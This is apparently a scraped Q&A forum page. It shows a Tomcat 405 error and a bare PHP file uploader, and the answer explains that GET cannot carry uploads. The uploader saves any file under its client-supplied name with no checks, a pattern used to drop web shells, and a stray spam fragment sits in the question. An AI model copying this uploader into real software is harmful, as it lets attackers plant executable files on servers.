0

HTTP Status 405 - Request method 'POST' not supported

type Status report

message Request method 'POST' not supported

description The specified HTTP method is not allowed for the requested resource.

Apache Tomcat/7.0.42 apk indir Homepage for click.

<?php
if(isset($_POST['Submit'])){
    $filedir = ""; 
    $maxfile = '2000000';

    $userfile_name = $_FILES['image']['name'];
    $userfile_tmp = $_FILES['image']['tmp_name'];
    if (isset($_FILES['image']['name'])) {
        $abod = $filedir.$userfile_name;
        @move_uploaded_file($userfile_tmp, $abod);

echo"<center><b>Done ==> $userfile_name</b></center>";
}
}
else{
echo'
<form method="GET" action="" enctype="multipart/form-data"><input type="file" name="image"><input type="Submit" name="Submit" value="Submit"></form>';
}
?>
Mavi Peri
  • 1
  • 2

1 Answers1

0

Refer to http-get-with-request-body and also this table comparing GET and POST.

The GET method does not carry a meaningful body and so does not support multipart nor file upload. Most likey this is being sent by the browser as a POST request.

Make sure the web-resource-collection tag in your servlet's web.xml file contains <http-method>POST</http-method> so Tomcat will allow your POST request.

Community
  • 1
  • 1
Joe
  • 25,000
  • 3
  • 22
  • 44